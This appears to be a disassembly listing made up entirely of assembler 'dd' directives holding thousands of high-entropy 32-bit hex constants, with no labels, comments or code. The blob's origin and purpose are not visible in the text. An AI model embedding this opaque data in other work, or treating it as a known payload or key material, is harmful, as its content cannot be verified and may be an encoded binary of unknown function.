		dd 0C6EB0D55h, 2375FDB1h, 0F3BAC41Dh, 0F6032B49h, 5E7BBFB0h
		dd 99D0C213h, 833F5D61h, 538CBCFAh, 8ACE1825h, 0C297198h
		dd 7A989698h, 0DEC80048h, 15326C8Ch, 95B2ECF0h,	0F30E225Dh
		dd 2E689CBEh, 8EA5FC1Ch, 0E4096967h, 7D0A8FDDh,	0B2DCC628h
		dd 3D375D61h, 1F93A1CDh, 0B1D90506h, 24A7489h, 688DCBC0h
		dd 0AFF52E51h, 21697596h, 92BAC419h, 0F81D3B70h, 7A659EA1h
		dd 97F49110h, 0D12E5441h, 6475BCD9h, 0ACC32E32h, 1D25488Ch
		dd 589A8B9Ch, 0EBFC0C30h, 3A556296h, 6C8EC2FBh,	0A7103047h
		dd 39728D9Eh, 8CA3E91Bh, 0E103176Ch, 5B6F90C8h,	0B4DFEC2Dh
		dd 31565476h, 4A8886DCh, 0AEC81038h, 0A376D82h,	6283F0F8h
		dd 0B3F31357h, 242718Eh, 94B1C0EEh, 0EB252840h,	247498BAh
		dd 89FFFA38h, 0FF315063h, 4868B4C6h, 92F9D658h,	52F51AFh
		dd 1B82BCD4h, 0CCF90127h, 55628Dh, 7AAD0E7h, 0C5EC3653h
		dd 4F529EB1h, 9BBEC41Fh, 0F51A3673h, 567387B9h,	0BAC48D01h
		dd 0F05A476Bh, 279ABBC9h, 0A0C11623h, 26466991h, 618FB5F6h
		dd 0F4FA0052h, 3E41668Ch, 9BB8CCCCh, 0EA7A3444h, 357B81A2h
		dd 0ACB6FC1Eh, 0E0254971h, 506F8FD6h, 84CAE028h, 1E264874h
		dd 6B9884A4h, 0A6F4032Dh, 24E5A98h, 42E2F8FEh, 0DDE3295Ah
		dd 1C5E64B6h, 0A2A0C00Ch, 9B332552h, 5A62838Dh,	97DFFF1Ah
		dd 0E33F505Eh, 4E6EB0F6h, 99E23C54h, 400371B9h,	5BAAEBAEh
		dd 0DEC0690Ch, 305A4E83h, 6691D4FBh, 0C22C5555h, 2E52B6B7h
		dd 96A3D61Ah, 932B395Dh, 666980EEh, 0A2C0EC15h,	0A3A4C52h
		dd 628294CDh, 0A0FB274Ch, 3D367CA3h, 6A93D1F5h,	0B3CB197Dh
		dd 7C2BEC5Fh, 0FBBAF848h, 129E4D24h, 2919D584h,	0B6BBFF6Ch
		dd 8E086A40h, 0A456113Fh, 0B9FED18Ch, 241C74BCh, 3F595C5Fh
		dd 7B156D04h, 0CCAFEEE4h, 84DEF5A8h, 0FC4151F4h, 5BB97859h
		dd 0CF9A138h, 0FD6E2F4Ch, 508716C6h, 5AB6CD40h,	0D32545C8h
		dd 27A6ECC4h, 0A176F250h, 58A96F4h, 13EAA99Ch, 0B5E4652Ch
		dd 333263B2h, 0FFD6F5BDh, 0F02B5142h, 0E48B0A9Ch, 0B4C2D954h
		dd 88F3C24Dh, 0B60AA19Ch, 5CE5F1A3h, 3B46A18Dh,	92FA2EA4h
		dd 838A71DDh, 30EF16ECh, 803046C3h, 0EFA2CAB1h,	2AA58CD8h
		dd 1FCEA56Fh, 648DB678h, 1B8D684Fh, 6C379128h, 875E26CAh
		dd 0D4FD9E58h
		dd 5023F6ABh, 0F64A61DCh, 9AE5B15Ch, 0BB81BACFh, 0A004E5E4h
		dd 0C4514E77h, 4F2B9673h, 4B22F9D0h, 472B1C29h,	0A06A0100h
		dd 98B6875h, 8AB2C97Ch,	2F077C50h, 0B60580F9h, 0C7DE517Bh
		dd 94661D77h, 4FC2BA01h, 0B7483C38h, 57C650DCh,	0A6D2A980h
		dd 87A1A0A5h, 0BC70F188h, 0FF1C00E1h, 0D9323950h, 2F22FD79h
		dd 17298172h, 0F28943F0h, 1BB2D148h, 3A514D89h,	637A0902h
		dd 7F4B5A8h, 0AAE89A6Dh, 7CD9FCBEh, 0CCED287h, 0E3AEC009h
		dd 3B198130h, 0F3D8D64h, 0BF0A3253h, 3EF86021h,	71297910h
		dd 6F461CF8h, 12E24B13h, 4F8D653Ch, 0D052C2CBh,	9E705E4Fh
		dd 413D545Ch, 0C4DC1E39h, 609596B7h, 43ED6EC0h,	7360B5E8h
		dd 28C4D70Dh, 5FF9BCFFh, 0DB75CDE4h, 0FC0FFA44h, 4C3E55C8h
		dd 0C083A47h, 0AFEC5AF3h, 4A30130h, 62A7667Fh, 9B326C21h
		dd 371E69C1h, 53F8515Bh, 86CBBC16h, 0DC029995h,	0AEE4F0B6h
		dd 683DF52h, 0FFBB067Dh, 0BB926940h, 0C7DB8CB9h, 88DAF191h
		dd 0E75B50B1h, 6F5E7AD0h, 6BC99D7Ch, 936A41A1h,	3506093Dh
		dd 0B3E68960h, 7F562C00h, 7AD4457h, 3B15750Ch, 6F669D7Dh
		dd 5FE6BD95h, 0B7626152h, 12E05DCh, 0ACD2FDD2h,	0BB25D8DBh
		dd 8A29F188h, 0E6BA02E1h, 0DA333910h, 4557DFDEh, 0D3AAE959h
		dd 881C65FCh, 5BD6EE35h, 4913FB44h, 376A4A9Ch, 7DFB1E4h
		dd 1F7D0E30h, 4F24DDF0h, 105F5E78h, 0CE6E0538h,	2D662945h
		dd 54E69987h, 0D15A5BDCh, 0D8A882FDh, 8B86F6C5h, 0AFC344F4h
		dd 0ECBC11EDh, 0F7AA62A9h, 1F6584E0h, 0BBBCFAD6h, 0A7EDDC70h
		dd 0EC1EF5CDh, 0FBA85943h, 0DFCDCE4Dh, 635AB1E8h, 28FCD50Ch
		dd 3B760695h, 17324CA4h, 3C9A714Ah, 98363198h, 4BC66A05h
		dd 3A790E34h, 536A250Bh, 0F7CA6721h, 0EE7877A0h, 0B29DABC5h
		dd 0E3FA85ECh, 12D32CEFh, 2B42C9B0h, 30F0AC57h,	7C8AA52Ah
		dd 17EFDA14h, 0AB166640h, 0DF360DE5h, 13AF8BB6h, 0A740D56Ah
		dd 4A237DDFh, 0D1469D74h, 0D59B3438h, 7E5EDB3Dh, 99C7CE2Eh
		dd 3990E28Fh, 0EDD19EA9h, 969E1F1Dh, 0FEBD4AA6h, 0FA6995Fh
		dd 0BC4B5A61h, 572EDA59h, 0C9572480h, 0F5760D38h, 431699C8h
		dd 0B4EE956Ch, 0AFA9ACEFh, 233BDDF4h, 0DCAA8158h, 774E9A79h
		dd 1B4320A0h, 81176D44h, 357343B8h, 77B3083h, 6D015930h
		dd 421A51DCh, 0F3532577h, 0B752451Ch, 7BE1AB5h,	5333825Eh
		dd 2E5A3108h, 7DEF5A1h,	0AC834470h, 10336991h, 66CAFD34h
		dd 48F0E440h, 2F4661C0h, 8157DCF1h, 8C40212Bh, 817680E3h
		dd 0E4C26637h, 0A8768725h, 0D1FDE1B8h, 543B7A0Eh, 48526924h
		dd 4FA69D64h, 0C3939918h, 87A15ECh, 648ED7E7h, 50863955h
		dd 130EDA4Dh, 830E207Ch, 12BB7A16h, 7F33E841h, 0E3D2C068h
		dd 0D6DE350Eh, 0D4528FE1h, 8F82A2C1h, 0E1DFACF8h, 47EE8585h
		dd 0EAC6A073h, 0E675FB4h, 27ED2477h, 0A3F9556Ch, 4CB706F4h
		dd 17C6DD50h, 0E4E7C1DBh, 360EA5A8h, 94E14A99h,	3E017942h
		dd 6EA694FAh, 0A8EC1625h, 1F247683h, 618FEAC8h,	0C0FD0E5Ch
		dd 255B4680h, 8FBCCCF2h, 0EC042872h, 1F749EA1h,	8BCEED29h
		dd 0F9074B7Fh, 466888B4h, 9BCFF429h, 773A5693h,	0EB0DC9A2h
		dd 0BE966D3Bh, 1B556398h, 29BFD8E5h, 0CCE12B59h, 374791B5h
		dd 9FBA8F01h, 0D4270B1Ch, 5079C98Bh, 0AFC7EB1Dh, 0D6505879h
		dd 7AC90FFh, 0FB904939h, 4F772DC1h, 33C4E1B6h, 0F8C43A06h
		dd 7D1247A9h, 8BA4C4F2h, 4B2F5B5Dh, 471EF5CCh, 0AF2F182Dh
		dd 49667D08h, 731E963Dh, 4251855Ch, 7B120D5Bh, 6BE92565h
		dd 48841B74h, 271A0E59h, 374EE090h, 0C9AC281Ah,	4ED53F59h
		dd 4A438609h, 9B326DDBh, 68149B4Fh, 6E1FF7CDh, 0C77D7A89h
		dd 5E8756B0h, 35A63D77h, 0FFB06771h, 0A6153BD2h, 505D8B41h
		dd 0C0B380A7h, 53DAF19Ch, 0A1145546h, 6F496C2Fh, 93459D34h
		dd 0E66E493Ch, 370A0D97h, 9DE18960h, 0EAA92D47h, 23BAF5E7h
		dd 386239A4h, 6B45F10Fh, 49B5BD94h, 0E0C53E7Bh,	18BBFADCh
		dd 13D2E9A4h, 6089B111h, 0BCEEB820h, 85336A93h,	63627902h
		dd 2F06DDBFh, 81EFD20Dh, 336017CFh, 0E4F285ECh,	0FFB20ED1h
		dd 6330F9E8h, 74A9B58Ch, 0C5EB2B40h, 4F679BA0h,	0E05F5E28h
		dd 1E6E0538h, 7B36F645h, 52878264h, 0C34DB885h,	267B5CACh
		dd 9AA23975h, 4B25880Bh, 7B79C1D8h, 0B78E6538h,	4CA4BC6Dh
		dd 728FADC4h, 0E35EB695h, 0B0581DCCh, 2CA4668Fh, 0CF7DCB91h
		dd 0B0FA1EB8h, 97B57DF9h, 0EEDF2900h, 1FB6D612h, 0C2F02518h
		dd 0F6C1586h, 8BE2B992h, 8B6DC8CBh, 93AF0198h, 7AECD026h
		dd 0DB69A0ADh, 397CBFC4h, 0F84C24E5h, 0D10A354Ch, 795389E0h
		dd 0EB49E8ABh, 8C1221B8h, 57CA2209h, 0B317AF40h, 5F364DC3h
		dd 3DABD60h, 0E82D022Ch, 7911B293h, 0A38AD95Ah,	0F0FFBE18h
		dd 0A40EA598h, 0DBB28E08h, 92E3A004h, 7AFA91BEh, 0E329C8C1h
		dd 0AAAA19B0h, 0E7194262h, 0B38A6134h, 1E604C8Bh, 0D586ECCEh
		dd 9F3A0160h, 67796437h, 273B952Ch, 8A85BD1Fh, 4795DDB4h
		dd 0D3AA815Dh, 60659071h, 96ABC9E0h, 0FFB2BEF9h, 95B0F9E8h
		dd 0BA5D4A73h, 0ABC27DE7h, 8DA2F2D4h, 72CAA179h, 976FD5F0h
		dd 3A7ABDC0h, 20B68D65h, 0C37E869Dh, 0B73A54ACh, 9BA27951h
		dd 6F2CC97Fh, 0C47F3ECAh, 328E2518h, 56475020h,	0FFC525ECh
		dd 20EFAE28h, 0AC1EB5E8h, 137F1A92h, 8F667D0Fh,	0B687C8CDh
		dd 0D7EE9EA0h, 0B8C7D650h, 9AF68D80h, 0F81E7E88h, 0EC3E15EDh
		dd 0B69B5D0h, 2A096DCBh, 536A1A20h, 0D0C620BAh,	0F1734960h
		dd 551787C4h, 2C2F6E6Ah, 45E7528h, 0AF0D2648h, 0CFA67C46h
		dd 87DFAC6Bh, 7DEE8587h, 44C13B50h, 1F12B271h, 0C1A3488h
		dd 0A77EA7A9h, 5D9F74D0h, 5EC6DD68h, 69AAA910h,	0A3661A43h
		dd 85B28960h, 4BDFCB2Fh, 0B605858Ch, 0C7DE5113h, 7766A47Dh
		dd 0E57BDD4h, 4C70C0D0h, 736A8E23h, 0F3326890h,	9B52092Fh
		dd 48121109h, 0B7B6B128h, 8B623CF8h, 1928F8B4h,	2CFD8120h
		dd 376A3A69h, 17364AA0h, 9F902A82h, 7F2B8465h, 7B4B5CCh
		dd 0AB827858h, 0B075AFD4h, 0B3EE6AEDh, 0B312C81Ch, 0AEEDBED4h
		dd 0DFF6A947h, 896235CEh, 77FEBFECh, 5E5D2A07h,	6F06393Fh
		dd 0AE67279Bh, 0B7CE790Eh, 575A098Ah, 0A8D6AD84h, 68EFAE7Bh
		dd 7A1EB5E8h, 0EBC2997Ch, 3AEB7061h, 334AC4B1h,	0F0A608D1h
		dd 0B5792940h, 49A7CDCEh, 40F8E1Bh, 0E43E55C8h,	249CB968h
		dd 2278D6A5h, 130F086Dh, 5C3157Ch, 0FB623C8Eh, 0C0EC1A2Ch
		dd 0F4C8F097h, 0F0D33CEFh, 0A0E832B1h, 4268569Bh, 336F2845h
		dd 904A369Ch, 0E82B82B7h, 7B8D981Bh, 0BE5AB1C8h, 0A73E415Bh
		dd 23088DD1h, 0EFC6E844h, 0B7E9D4E7h, 8A8EE5FCh, 0DBF2AE68h
		dd 0B8475904h, 63E1292Dh, 0C79E754Ch, 63C7DFF0h, 0FE6FDB3h
		dd 4C7437D1h, 0D7ABC223h, 0FBD2E994h, 0C2F64D24h, 0CE1AF50Ah
		dd 0A7999CD9h, 1E9D6F10h, 2F46F9F7h, 0DC5579DBh, 774E9E78h
		dd 167740A0h, 0D5962D6Ch, 0F6C547E8h, 79E91F7h,	2F8D99B5h
		dd 4F26FD70h, 0A39A6153h, 0FD3E4676h, 3B1281C1h, 20E04D64h
		dd 0C37E169Dh, 0D80656ACh, 0C946FD5Fh, 0EACF1DF4h, 13AAE989h
		dd 9F9BE8B1h, 0CEBF09A0h, 0FF968599h, 0A3100379h, 0C8B0A9Ch
		dd 68C2D954h, 0B69C2ECh, 330AE30Ah, 62518536h, 7B120111h
		dd 3BB1585Bh, 3B197108h, 0FCBA1A13h, 82E2B992h,	0EFAE78B1h
		dd 50E332D8h, 0A69EF4BFh, 64234D4Ah, 7F3EFC71h,	0C82F6E68h
		dd 25E7528h, 5C86D670h
		dd 0FCA67D56h, 5ACFA831h, 46EE85B4h, 0A4FA3811h, 0F3602E4h
		dd 27BD2477h, 67FB556Ch, 49127DDFh, 6A4F9D74h, 932A6935h
		dd 0F456E7Fh, 0DBEAB1D8h, 7C841E04h, 0D40B2669h, 0F21BFCADh
		dd 0E04259D8h, 95E81DFh, 808A612Ch, 0A0EF060Eh,	72335E71h
		dd 0DF5E7CA1h, 0F41532C8h, 4479327h, 9331B426h,	3B456ABBh
		dd 0B8E3515Bh, 0A74D0D3Dh, 6CADF321h, 0CB6F032Dh, 19B958F6h
		dd 0D8ACB480h, 20BE12BBh, 0D25E996h, 0BB8E2C68h, 0B4B7B2E3h
		dd 1E97D201h, 1CB6CD4Ch, 0A71EBA51h, 9F765CA0h,	0F8A27950h
		dd 0A0CDDE34h, 0AE67CA73h, 0B7CE4235h, 68ED821Ch, 9EEA014Dh
		dd 0D946575Ah, 6732F7BBh, 9F9EA5DAh, 0FB4801F8h, 460ADD65h
		dd 5C6666B4h, 23171401h, 1482CDE1h, 91D92275h, 2EBB1AECh
		dd 801D466Fh, 0E6D16037h, 0D7254296h, 8315A40h,	0CE311E1Dh
		dd 0E92E28Ah, 0DE456E97h, 0B56D765Bh, 0D4245DBFh, 9F9B82ABh
		dd 7C0575ABh, 0E811DE18h, 53495ABFh, 0A0C9F3A7h, 0FCD43587h
		dd 754DAAD3h, 4B22EF38h, 10A87574h, 9382BEE7h, 6A0EE5BCh
		dd 0FA0164E1h, 86BF2D44h, 47FAD1A8h, 721547B3h,	6B0231DDh
		dd 69C434F0h, 0E9C75FB9h, 57CC80D3h, 0A559A980h, 0F9A84E18h
		dd 64ACA49h, 0E76C1063h, 0C8953910h, 2F26DDA2h,	162F8E58h
		dd 814E25FCh, 14F095E3h, 0BF96D6C0h, 434490E8h,	27FE95ACh
		dd 0AB2CDD3Fh, 80CEFDD4h, 0FC355E86h, 976EE69Eh, 0C58501C0h
		dd 7D5E729Bh, 85A3108h,	67D6E431h, 36179150h, 0EB49E20Bh
		dd 13EAC110h, 9FA3D0B7h, 5B909A0h, 1708AEB8h, 5C85AFB6h
		dd 0D9F83BEh, 0EBC2F954h, 0D998B6F4h, 0BE1E9BBBh, 97BE85E9h
		dd 6B282A00h, 1FF3CC1Dh, 66692648h, 65DD165Dh, 55BD1D63h
		dd 3DB75266h, 527F8655h, 0A746A57Ch, 75B9A1DFh,	0B44C123Bh
		dd 0A9B99D22h, 821FB81Ch, 0A22A9A9Bh, 89616F13h, 536A01D8h
		dd 3FA54CBCh, 308223CBh, 1F1E3C61h, 0B908888h, 0EDF7565Fh
		dd 5B60F8D8h, 0EF9EFEF7h, 0BB5FC493h, 750FE5FCh, 8BF18868h
		dd 0F432FF37h, 2175B58Ah, 0D623F614h, 6B4259D8h, 0F204399Bh
		dd 6759EC7h, 576E2DF1h,	0DF553C7Fh, 2A894D64h, 435AD9E1h
		dd 0C3B90093h, 6EF3950h, 2F46F5A1h, 0FBB714D5h,	251F25BCh
		dd 0AE0DC9CAh, 0BFD64555h, 47458417h, 0B221B5CCh, 0ABC27121h
		dd 6B21682Bh, 4647A138h, 972E6215h, 131F5C3Fh, 20E08D24h
		dd 0C37E4A9Dh, 365B56ACh, 0CBA23978h, 6F46F537h, 79B7C198h
		dd 9963E43Dh, 33249C3h,	7A17A274h, 0A33A45A8h, 0C4DD3549h
		dd 0E43266B8h, 9BE6B8D5h, 0EC9E1F8h, 0D784854Ch, 0FA343575h
		dd 73FAE9D8h, 0A3890439h, 98C1D104h, 0E3E7CC6Fh, 5079A0F6h
		dd 0ACD5D330h, 8E0C483h, 0AF24310Dh, 95FE8DD6h,	96456E97h
		dd 0A31ABE35h, 22B75480h, 44A63D73h, 0F22C29A8h, 64ECC3A6h
		dd 0BBFA3F65h, 0D436F2E4h, 51DADB4Ch, 14EBAA7Ch, 0C822B9F4h
		dd 0D14795B0h, 0CF557E44h, 0F18DE6C9h, 26C66164h, 0FBBED2FBh
		dd 42052E57h, 0C79E50F4h, 44FADAF0h, 0E7E6BD94h, 0B38A6128h
		dd 0EF2E251Eh, 0FBD2A9B0h, 9F764ECCh, 433E33C8h, 0EB9AC1E1h
		dd 73E117DDh, 4F1FA1B4h, 0D3AA81B0h, 531AAEFCh,	1799490h
		dd 9C6780C5h, 67D211A8h, 66214A78h, 825DF2h, 7Eh dup(0)
		dd 34F196FBh, 4488BA77h, 7789BDA7h, 5815D2B3h, 0EDA1DE9Bh
		dd 7056963Fh, 0A09581B3h, 847276C3h, 44019724h,	295D1A00h
		dd 0AC92DA9Bh, 0E72DB2EFh, 0AC813E1Fh, 6890577Ch, 0DC997A43h
		dd 0E7A7BDAAh, 7FB9595Eh, 0E1ABCFh, 67FC8543h, 845627A4h
		dd 3AE7A27Fh, 136EAA67h, 3BF8A673h, 580BAF00h, 0D09CCECBh
		dd 15AADEBBh, 6C691ADFh, 78357768h, 5E5F1BBh, 0F8A15842h
		dd 0A9CE893Ch, 35A1656Ah, 35D746EFh, 34C28A2Fh,	0CC74C70Bh
		dd 4D955210h, 5CF1E9FDh, 62383D2Ah, 14030153h, 0B5167542h
		dd 8C52514Eh, 85249A56h, 0AD041BD7h, 0AA45B5E7h, 567621EAh
		dd 91144208h, 0D18B3AF7h, 739D63A8h, 74A46110h,	571FFF2Bh
		dd 0B50C631Ch, 0AE036DBh, 976477FFh, 0FE71E1F6h, 0BF95B07Eh
		dd 4FB9CDFAh, 0E079410Eh, 239D5A17h, 511CD58Fh,	5C23D377h
		dd 57C1E3A7h, 95566046h, 1C19CB8Fh, 28E5AF47h, 9963F16Bh
		dd 85622ED8h, 0C0772BF9h, 5768D2D0h, 0A4A66771h, 582D2ADCh
		dd 7C39F6C0h, 0D4B96706h, 0D9C5812Ch, 12CC8C49h, 826879E3h
		dd 0EDB9B778h, 34693E3Bh, 558D4A07h, 2CBACAD3h,	1DE9F71Eh
		dd 0B4366E6Bh, 854A8AACh, 0C099715h, 0D4E2D9h, 24E19EC9h
		dd 0C5EC2652h, 3C39EBAFh, 7C364776h, 5411CECBh,	7E915A97h
		dd 0A05E9B30h, 0F4C0F2EFh, 29E502DFh, 0C9FFA752h, 51E41613h
		dd 0A8A55B95h, 0ED2BEB76h, 83DA3A37h, 3689B05Dh, 4295BC0Fh
		dd 0E4A2C61Bh, 0B4386A2Bh, 6609769Dh, 7890D4Bh,	7325E42Dh
		dd 53DD9A8Ah, 2BC38E2Ch, 0CD82B16Eh, 4441CF1Ch,	0A05E1BD9h
		dd 91596B92h, 2CA8E2DFh, 66BBB1CBh, 805F5970h, 0CC5936C3h
		dd 9137E8D1h, 4D66A49Eh, 0D44B37F9h, 748CE99Dh,	1C534AD6h
		dd 4DFF1364h, 0EF9BD2C9h, 0C8CB07B2h, 0D69C0D51h, 4727EF76h
		dd 0B434301Eh, 497D59BDh, 0FE01A9C9h, 619670C5h, 4484009Eh
		dd 5741784Dh, 0BF02BFB3h, 69285E55h, 5458BA4Eh,	83BC33DDh
		dd 6F938A16h, 482C7B5Eh, 55DBD21Eh, 0CB311E77h,	83665A91h
		dd 0D074122Ah, 4BC3E3D9h, 58BB4AF8h, 0BB2AEA21h, 0A3173839h
		dd 0D4FB4A28h, 65A85E8Dh, 0C036F81h, 30D06C6Dh,	0B8B1CF9h
		dd 0B87CAEB2h, 0A3138F41h, 0E7295FE9h, 9190C9A4h, 87F66ADh
		dd 38CC3958h, 0D187BEEBh, 349BE286h, 1B3C933Dh,	8FF36A6Fh
		dd 63B50D2Ah, 78B25255h, 686E9EA3h, 211037CAh, 63A71EFBh
		dd 1D8F7DE0h, 0F78116B0h, 0DFEB219Dh, 27376FA5h, 6428423Eh
		dd 683B39EDh, 0E8969A96h, 0F73A7C93h, 5EEBFCCCh, 0D40FEE7Eh
		dd 0FC8BEAA1h, 0C7578FC5h, 448E25Eh, 5FDF5B0Dh,	0A3E57FB5h
		dd 0E78860h, 0D00B42E1h, 0B92F909Dh, 61E8629h, 411F7EE6h
		dd 5B9BD309h, 0C8CC26C2h, 0ACD93251h, 5D7A3E76h, 0F4EB7749h
		dd 184F8BD5h, 12BF83E1h, 60BD8DD0h, 6EB19562h, 2C4C7543h
		dd 0F703FA66h, 95A621A6h, 148B9709h, 7EBB5DDh, 0C4F6397Bh
		dd 80B7EE27h, 0E897C613h, 35D236A9h, 0EC634F19h, 1F363332h
		dd 7D7AA299h, 25BF237Ah, 8764EA61h, 0A211B6B4h,	797A3269h
		dd 0E8DF6BF5h, 0FBF79B1h, 0AB5A9DDFh, 9498767Eh, 79BF851Dh
		dd 0AF608FCCh, 3D7E2E25h, 0E4DB27B1h, 7F40C698h, 6C523C56h
		dd 980449F5h, 0ABABA22Eh, 155207EDh, 0BC335D4Ah, 0CDEBDBFCh
		dd 0DDA72E9h, 9F606738h, 0C72F076h, 5595C615h, 940D114h
		dd 0B82FFC97h, 0DCE98908h, 0B06AC7F7h, 277C15CDh, 117EF643h
		dd 96A3F464h, 17748B1Dh, 2DEBE24Eh, 0D80F4689h,	0F8A83E28h
		dd 0C70A4C02h, 0C9D2D884h, 689FA311h, 0F75DFA31h, 4BE365D2h
		dd 0F29F2687h, 12C608F4h, 58562C1h, 74FEAEE5h, 2012D2AFh
		dd 8827F683h, 0D6DB1A51h, 0AAD50FB5h, 816E12A3h, 180F5BDDh
		dd 7C2F2D39h, 60C09C5Dh, 6E676D29h, 8223A14Dh, 7603D431h
		dd 0F08DB093h, 14A44021h, 696FD0DDh, 0B36339E7h, 40A4129Ah
		dd 2184C149h, 0E77B4558h, 71C6094Eh, 0D0577E0Ah, 3E372BD9h
		dd 6F16C6FDh, 61348F10h, 0A0171E45h, 0D02FB7F6h, 4872564Dh
		dd 4630F3Eh, 17B59E95h,	94982E6Eh, 78998E1Dh, 83870A41h
		dd 70A4D940h, 52B4E439h, 679CE206h, 5084F0F6h, 5048A30Ah
		dd 3C1831C9h, 11CFC632h, 0FC2066E6h, 0FA639E85h, 7BBE8C89h
		dd 0E86C0262h, 3C33FF1h, 0CA311DAAh, 1FF53837h,	0EAF05031h
		dd 0DC135BE9h, 0BCD441A5h, 83E8346Eh, 96E8083Dh, 8BC0F63Ah
		dd 0F791FE5Ah, 74F8DECEh, 864BD17Dh, 2A83C0F3h,	0F0E44DF8h
		dd 0C77BF2BEh, 0AF4AC651h, 4CB0E6C6h, 0AE78855h, 4781177h
		dd 412FA692h, 1C538BE9h, 0B9989958h, 0B347B615h, 95636B18h
		dd 3AD21A91h, 0FE3BE3F4h, 0C02B6259h, 68BCA590h, 0B973EA16h
		dd 9EEB02C5h, 76B780A8h, 0C4AB75A7h, 7603D479h,	88B45D6Bh
		dd 914BC2CEh, 0AB23BA9Dh, 5C8FF769h, 1100E125h,	21A4E268h
		dd 0C83F4C99h, 0ADA432C6h, 10478B0Fh, 21B5689h,	0B3F76CEh
		dd 890B7F1Ch, 60540E85h, 3BEE46A2h, 5F277A81h, 0CC2D6636h
		dd 150B86D5h, 0BBA91D4h, 0B87CC2B2h, 1D5B6541h,	0C0F816A9h
		dd 711E0989h, 87F8BD9h,	0C30A3F7Ah, 50504B80h, 74538AD1h
		dd 98CFEF77h, 0BCF327C6h, 0E0174E86h, 43B72A9h,	285F96CDh
		dd 635290C2h, 0B0D4268Ah, 0F8F49D39h, 43FCE6E1h, 9052A8DFh
		dd 9DE60F63h, 81F03393h, 0A2DD0551h, 7FCFFD36h,	0C2F6D561h
		dd 66C4D814h, 6C0FDB31h, 60A1DE10h, 6357BC2Ah, 309CD7F7h
		dd 3C889CF2h, 4FC3BBD6h, 1C4883E3h, 0F86488DEh,	850B3C2h
		dd 0FB2563B1h, 0F236AEA6h, 0C12773AEh, 0EB22487Dh, 0ED124D76h
		dd 0ADF50175h, 0C608367Ah, 0A4F23362h, 8ECBFE46h, 60B3EF6Ah
		dd 65D80468h, 808BFB41h, 68A4DF1Fh, 4D95A195h, 60A8D61Ah
		dd 5093D5F8h, 6F83A6E6h, 2159C133h, 0B73A5D9h, 103C36E1h
		dd 146F8EBAh, 0EC2863C3h, 0D84468D9h, 0ED387AA2h, 0AF063E86h
		dd 0BD03418Eh, 0A9146696h, 0C5DA5672h, 0B0DC4065h, 9CD3DF7Ah
		dd 81E91B47h, 0B9BE0B51h, 68B0D141h, 5D9BD727h,	41A1EB38h
		dd 549CBDADh, 4977B313h, 2D6CA729h, 2088A919h, 256BB5FAh
		dd 1D2B8FCDh, 0FD3B72DFh, 0E17672EAh, 0FD3C4AC1h, 0F01C80A1h
		dd 0C5082CBAh, 0D3CB439Eh, 0D51B3A82h, 0BDE33A6Eh, 0F81679h
		dd 72E7378Ch, 0A1CE0852h, 0ABA3F83Ch, 6D91F25Ah, 5BC4F527h
		dd 99A70B17h, 5D86A6A1h, 4280DA29h, 3D89D3F7h, 4964D6CEh
		dd 295CD0E1h, 0EE416DE8h, 0D4689EE2h, 0E4C76D8h, 0F9276383h
		dd 0F0274FA2h, 0A53670B2h, 0E50F452Dh, 0D3116A7Bh, 0C3F62394h
		dd 9BF91299h, 0ABDE2B5Ch, 0A5ADDC10h, 60C30153h, 67CE0459h
		dd 0BBAEE932h, 64A0F85Fh, 4D765E29h, 38A4C80Dh,	447BE702h
		dd 2971A3EFh, 416693F9h, 1078C549h, 25639FAFh, 93873E5h
		dd 0ED2B51B5h, 76B72BEh, 0F51B59A6h, 0E10C3E8Eh, 0DEFA62AAh
		dd 90184E92h, 0E8FC4366h, 0ADD81886h, 8DD0F465h, 92E5014Ch
		dd 78CC1236h, 68C1E313h, 819BCF3Ah, 47AEEE35h, 618DADADh
		dd 559DBF05h, 687A311h,	1E87A3EDh, 485B99F2h, 255D83CFh
		dd 0FD3273E1h, 0EF4EA6B8h, 0DE5F84B2h, 0E9317DA5h, 0AE0452B6h
		dd 94285EA2h, 0CA2E3A97h, 0B9FF2B66h, 0A3DA2055h, 24EA256Eh
		dd 9ABE0A27h, 89CFFB36h, 73AAF065h, 71BAF53Eh, 64D14625h
		dd 5D90DCE0h, 3DA6B319h, 2B94C608h, 3461D6E7h, 3A739BFEh
		dd 0E75283EEh, 0F76875DBh, 0E528FD1h, 0E33F48C1h, 0FE1953B5h
		dd 64386EB2h, 0D8024A67h, 0BE333876h, 0C3E42190h, 9FFE1668h
		dd 0CE4F3462h, 0A3E1FA55h
		dd 8CB6F359h, 70C90B5Bh, 5DC3F742h, 5E96D716h, 5C695E1Eh
		dd 40A4D4ECh, 4A98DC02h, 4074BFF5h, 175C93E2h, 0F6DB9BD7h
		dd 1E2CA2E1h, 8367DBAh,	23351DAh, 4680C2h, 0EB318798h
		dd 0CE1F3D8Ah, 0A0F23C9Eh, 973C659Ch, 0B4ED3781h, 0AF432A66h
		dd 8DD60D71h, 7FEA2148h, 9BAFFA42h, 79A5E82Ch, 5FF7E244h
		dd 4BB3E62Eh, 519DCA1Ch, 4978BBFBh, 3364B0F5h, 117AE2EBh
		dd 2BCFAAD7h, 194A8DCCh, 0F6604ED9h, 0EA4997BDh, 0FC1E6AB2h
		dd 14206D9Ch, 0C4034CB6h, 0BA04029Eh, 0CEFD4B91h, 0B9CE3E66h
		dd 96DA3179h, 90FA3773h, 94AE1A52h, 6CC00E32h, 6DB3EC6Eh
		dd 60C80027h, 6EACD638h, 626C6AE2h, 3685B319h, 34AEC60Eh
		dd 3A4CC4F2h, 55C3BBDDh, 224492EFh, 2657A7E3h, 364B87C2h
		dd 1C3066AAh, 14172A6h,	966A8BB9h, 0BC033A47h, 0CB006C51h
		dd 0C3EA2AB4h, 0AD081D7Eh, 0B7EC38BDh, 0A2D01A2Ch, 9DD0F33Ch
		dd 56BB3341h, 7590FD32h, 7AACEC16h, 4D94CA36h, 148CCAFEh
		dd 6B8ACB2Bh, 3D5DBEE6h, 3D54A301h, 27DBD3E1h, 80263B46h
		dd 0EC2372E2h, 0C4CCE6B5h, 3441A5FDh, 840CB93h,	7B04470h
		dd 6C5E5E01h, 84116699h, 2FCE085Eh, 0CC30AA46h,	242321D5h
		dd 415737D4h, 342EE65Dh, 219E4D49h, 80049FEAh, 341E2589h
		dd 0FEA57603h, 0F9BF2F8Ch, 9004BE35h, 741B6624h, 307F063Dh
		dd 0BCF3832Bh, 0E03D22FCh, 0C4512E30h, 185F96A5h, 0FE8154F1h
		dd 260FDEABh, 0BECB02A2h, 0E81E575Dh, 0E96FDFFCh, 0C90A6E65h
		dd 511F07E4h, 0FFCB62Dh, 0F11A2645h, 908713ADh,	41601EB8h
